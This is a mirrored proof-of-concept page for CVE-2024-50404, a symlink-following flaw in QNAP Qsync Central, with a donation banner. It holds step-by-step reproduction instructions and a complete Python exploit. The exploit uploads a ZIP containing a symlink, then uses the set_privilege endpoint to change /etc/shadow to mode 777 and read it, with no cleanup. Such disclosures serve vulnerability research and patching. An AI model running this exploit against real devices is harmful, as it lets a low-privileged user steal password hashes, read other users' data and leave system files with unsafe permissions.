Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-50404 PoC — QNAP Systems Qsync Central 后置链接漏洞

Source
Associated Vulnerability
Title:QNAP Systems Qsync Central 后置链接漏洞 (CVE-2024-50404)
Description:QNAP Systems Qsync Central是中国威联通科技(QNAP Systems)公司的一个 NAS 上基于云的文件同步服务。 QNAP Systems Qsync Central 4.4.0.16_20240819版本及之前版本存在后置链接漏洞,该漏洞源于包含一个链接跟踪漏洞。
Description
CVE-2024-50404
Readme
# CVE-2024-50404
- https://www.qnap.com/en/security-advisory/qsa-24-48
- https://www.cve.org/CVERecord?id=2024-50404
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (6.8)

"A link following vulnerability has been reported to affect Qsync Central. If exploited, the vulnerability could allow remote attackers who have gained user access to traverse the file system to unintended locations."

__Date of Discovery:__ 22 April 2024  
__Date of Fix:__ 7 December 2024  
__Affected Version(s):__ Qsync Central 4.4.x  
__Fixed Version(s):__ Qsync Central 4.4.0.16_20240819 (2024/08/19) and later  
__Access Permissions:__ Regular user with file upload permission  

__Summary:__  
It is possible to upload a symlink through a ZIP file and read the file where the uploaded symlink points to.
Furthermore the file permissions of the symlink target can be modified.  
An attacker with privileges of a regular user can read data of other users or the password hashes stored in */etc/config/shadow*, which could lead to the compromise of the whole system.
Additionally the attacker could remove the execute permission on important system binaries to make the system unusable.


# Steps to Reproduce

## Read file via symlink

1. Create a symlink and put it into a ZIP file.

    ``` bash
    ln -s /etc/passwd link.txt
    zip --symlink pwn.zip link.txt
    ```

2. Login as a low-privileged user.
3. Upload the ZIP file into the *.Qsync* folder.

    ![Upload ZIP](screenshots/upload-pwn.zip.png)

4. Extract the ZIP file by right-clicking and selecting *Extract to /pwn/*.

    ![Extract ZIP](screenshots/extract-pwn.zip.png)

5. Open the new *pwn* folder, right-click on *link.txt* and select *Open*.
6. Observe that */etc/passwd* is opened in a new tab.

    ![Open link](screenshots/etc-passwd.png)

## Modify file permissions via symlink

1. Create a symlink and put it into a zip file.

    ``` bash
    ln -s /etc/shadow link.txt
    zip --symlink pwn.zip link.txt
    ```

2. Login as a low-privileged user.
3. Upload the ZIP file into the *.Qsync* folder.
4. Extract the ZIP file by right-clicking and selecting *Extract to /pwn/*.
5. Change the permission of the file where the symlink points to by abusing the *set_privilege* function.

    Curl Request:

    ``` bash
    curl --path-as-is -i -s -k -X $'GET' -H $'Host: 192.168.178.156' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: https://192.168.178.156/cgi-bin/' -H $'X-Requested-With: XMLHttpRequest' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' $'https://192.168.178.156/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid=9j27809t&source_path=/home/.Qsync/pwn/&source_file=link.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1'
    ```

    Burp Request:

    ![Burp request](screenshots/request-burp.png)

    You must replace the *sid* parameter in the URL with a valid session id.

6. Open the new *pwn* folder, right-click on *link.txt* and select *Open*.
7. Observe that */etc/shadow* is opened in a new tab.

    ![Open link](screenshots/etc-shadow.png)

# Proof of Concept

The following Python script can be used to exploit the vulnerability.


``` python
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3

# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
FILE = '/etc/shadow'
#DEBUG_PROXY = 'http://localhost:8080'

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def main() -> None:
    session = Session()
    #session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
    session.verify = False

    print(f'carefull, privileges of {FILE} are changed to 777! clean up is not implemented')

    print('creating zip file')
    os.system('rm -f pwned.txt pwn.zip')
    os.system(f'ln -s {FILE} pwned.txt')
    os.system('zip --symlink pwn.zip pwned.txt')

    print('loggin in')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/authLogin.cgi',
        headers={'Content-type': 'application/x-www-form-urlencoded'},
        data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
    )
    assert response.status_code == 200
    match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
    assert match
    sid = match.group(1)

    print('uploading zip file')
    with open('pwn.zip', 'rb') as file:
        upload_file(session, sid, 'pwn.zip', file.read())

    print('unpacking zip file')
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
        headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
        data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/.Qsync/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/.Qsync'},
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    # wait a bit
    time.sleep(5)

    print('changing privileges on file')
    response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid={sid}&source_path=/home/.Qsync/&source_file=pwned.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1')
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1

    print('read file')
    response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi/pwned.txt?sid={sid}&func=get_viewer&source_path=%2Fhome%2F.Qsync&source_file=pwned.txt')
    assert response.status_code == 200
    print(response.text)

    print('done')


def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
    # get upload id
    response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
    assert response.status_code == 200
    data = response.json()
    upload_id = data['upload_id']
    assert upload_id

    # upload file
    response = session.post(
        f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome%2F.Qsync&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
        files=(
            ('fileName', (None, filename.encode('ascii'))),
            ('file', ('blob', content, 'application/octet-stream')),
        ),
    )
    assert response.status_code == 200
    data = response.json()
    assert data['status'] == 1


if __name__ == '__main__':
    main()
```
File Snapshot

[4.0K] /data/pocs/f9a6a14a0ec1757a27b3ce6cc6c37ebfed4d5cc5 ├── [3.9K] file-read-poc.py ├── [7.0K] README.md └── [4.0K] screenshots ├── [ 53K] etc-passwd.png ├── [ 65K] etc-shadow.png ├── [266K] extract-pwn.zip.png ├── [ 88K] request-burp.png ├── [ 89K] set_privilege_burp.png └── [261K] upload-pwn.zip.png 1 directory, 8 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.